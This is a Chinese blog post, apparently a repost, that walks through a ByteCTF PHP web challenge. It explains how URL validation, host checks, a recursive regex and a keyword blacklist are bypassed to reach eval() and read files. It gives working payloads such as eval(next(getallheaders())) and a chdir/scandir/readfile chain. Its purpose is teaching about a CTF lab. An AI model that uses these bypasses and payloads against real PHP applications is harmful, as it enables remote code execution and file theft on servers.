博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
php parse url ctf,一道CTF题目的探究
阅读量:6513 次
发布时间:2019-06-24

本文共 3643 字,大约阅读时间需要 12 分钟。

ByteCTF上遇到的一道Web题目,Boring_Code

输出了代码:

function is_valid_url($url) {

if (filter_var($url, FILTER_VALIDATE_URL)) {

if (preg_match('/data:\/\//i', $url)) {

return false;

}

return true;

}

return false;

}

if (isset($_POST['url'])){

$url = $_POST['url'];

if (is_valid_url($url)) {

$r = parse_url($url);

if (preg_match('/baidu\.com$/', $r['host'])) {

$code = file_get_contents($url);

if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {

if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {

echo 'bye~';

} else {

eval($code);

}

}

} else {

echo "error: host not allowed";

}

} else {

echo "error: invalid url";

}

}else{

highlight_file(__FILE__);

}

0x01 filter_var函数<?php

$url = $_POST['url'];

function is_valid_url($url) {

if (filter_var($url, FILTER_VALIDATE_URL)) {

return true;

}

return false;

}

if(is_valid_url($url)){

echo 'success';

} else {

echo 'fail';

}

那么filter_var($url, FILTER_VALIDATE_URL)判断符合格式的URL可以是怎样的呐?

只要是满足://,前一个可以包含符号 .

0x02 parse_url函数

parse_url函数是用于解析URL中的参数,包括host,port,参数等等

测试代码:

$url = $_POST['url'];

function is_valid_url($url) {

if (filter_var($url, FILTER_VALIDATE_URL)) {

if (preg_match('/data:\/\//i', $url)) {

return false;

}

return true;

}

return false;

}

if(is_valid_url($url)){

var_dump(parse_url($url));

} else {

echo 'fail';

}

9a7d41f72364d7af451d1c1730e3a44e.png

那么在第一部分,我们说到了filter_var()函数验证URL其实是不严谨的,那么在parse_url()这,会不会导致一些bypass呐?

通过@分割 user 与 host

904a89cc6acc22b3e0ac31d126c73faf.png

改造一下:

$url = $_POST['url'];

function is_valid_url($url) {

if (filter_var($url, FILTER_VALIDATE_URL)) {

if (preg_match('/data:\/\//i', $url)) {

return false;

}

return true;

}

return false;

}

if(is_valid_url($url)){

$r = parse_url($url);

if (preg_match('/baidu\.com$/', $r['host'])) {

var_dump($r['host']);

echo 'success';

} else {

echo 'Host必须包含以baidu.com结尾字符串';

}

} else {

echo 'fail';

}

4acfc3b62eb2d613d29e7b7732ea149e.png

0x03 file_get_contents函数

测试代码:

$url = $_GET['url'];

var_dump(file_get_contents($url));

使用php://input伪协议绕过

将要GET的参数?xxx=php://input

用post方法传入想要file_get_contents()函数返回的值

用data://伪协议绕过

将url改为:?xxx=data://text/plain;base64,想要file_get_contents()函数返回的值的base64编码

将url改为:?xxx=data:text/plain,(url编码的内容)

在is_valid_url()函数中禁止了data://协议

0x04 绕过递归检测

题目中还有;的递归正则匹配

$url = $_POST['url'];

function is_valid_url($url) {

if (filter_var($url, FILTER_VALIDATE_URL)) {

if (preg_match('/data:\/\//i', $url)) {

return false;

}

return true;

}

return false;

}

if(is_valid_url($url)){

$r = parse_url($url);

if (preg_match('/baidu\.com$/', $r['host'])) {

$code = file_get_contents($url);

var_dump($code);

if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {

echo 'success';

} else {

echo '只能有一个;(分号)';

}

} else {

echo 'Host必须包含以baidu.com结尾字符串';

}

} else {

echo 'fail';

}

这种正则匹配需要按照:function(function(function()));这样的格式,只能是函数形式,而且字母得小写,

可以通过两种方法绕过:

Apache环境:getallheaders()

Nginx环境:get_defined_vars()

例如:

// 只需要在数据包头加上相关例如:kk:phpinfo();就可以执行了

eval(next(getallheaders()));

// 只需要传递post或者get或者cookie参数,在对应传值即可

eval(reset(get_defined_vars()));

// 通过16进制编码传PHPSESSID值

eval(hex2bin(session_id(session_start())));

0x05 绕过关键词检测if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {

echo 'bye~';

} else {

echo 'success';

eval($code);

}

如上代码,过滤了关键词et,那么含有get字符串的函数就不能用

所以使用session方式,hex也被过滤,那么看看php当中字符串的函数有哪些呐?

但是session相关的函数都有_,emmm~

尝试str_rot13()…

然后参考了“PHP无参数RCE”一文

由于过滤太猛,所以尝试任意读取文件

函数

说明

getcwd()

获取当前工作目录

dirname()

返回去掉文件名后的目录名

scandir()

返回当前目录下的文件名+文件夹

chdir()

更改执行目录

end()

指向最后一个元素,并输出

readfile()

读取输出文件内容

next()

将内部指针指向数组中的下一个元素

arrary_reverse()

数组反转

localeconv()

返回一包含本地数字及货币格式信息的数组

current()、pos()

返回数组中的当前单元, 默认取第一个值

hex2bin

转换十六进制字符串为二进制字符串

最后构造payload:

if(chdir(next(scandir(pos(localeconv())))))readfile(end(scandir(pos(localeconv()))));

参考文章

转载地址:http://jaifo.baihongyu.com/

你可能感兴趣的文章
《疯狂Java讲义》学习笔记(十)异常处理
查看>>
ELK 5.x日志分析 (二) Elasticserach 5.2 安装
查看>>
一次奇怪的AP注册异常问题处理
查看>>
TableStore: 海量结构化数据分层存储方案
查看>>
java SpringUtil获取bean
查看>>
赛门铁克开启“容灾即服务”时代
查看>>
复杂度归纳--小结
查看>>
跨越企业的“中等收入陷阱”
查看>>
luogu P1280 尼克的任务 序列DP
查看>>
sys.check_constraints
查看>>
#define WIN32_LEAN_AND_MEAN 的作用
查看>>
仿余额宝数字跳动效果 TextCounter
查看>>
你必须知道的.net学习总结
查看>>
Axure8.0 网页 or App 鼠标滚动效果
查看>>
大家好,新年快乐。
查看>>
labview如何弹出提示窗口_LabVIEW开发者必读的问答汇总,搞定疑难杂症全靠它了!...
查看>>
jquery 乱码 传参_jquery获取URL中参数解决中文乱码问题的两种方法
查看>>
JDBC_MySQL_jdbc连接mysql_MySQL
查看>>
linux不能访问80端口,lunux开放80端口(本地访问不了linux文件可能是这个原因)...
查看>>
android单位转换小程序,微信小程序中rpx与rem单位转换
查看>>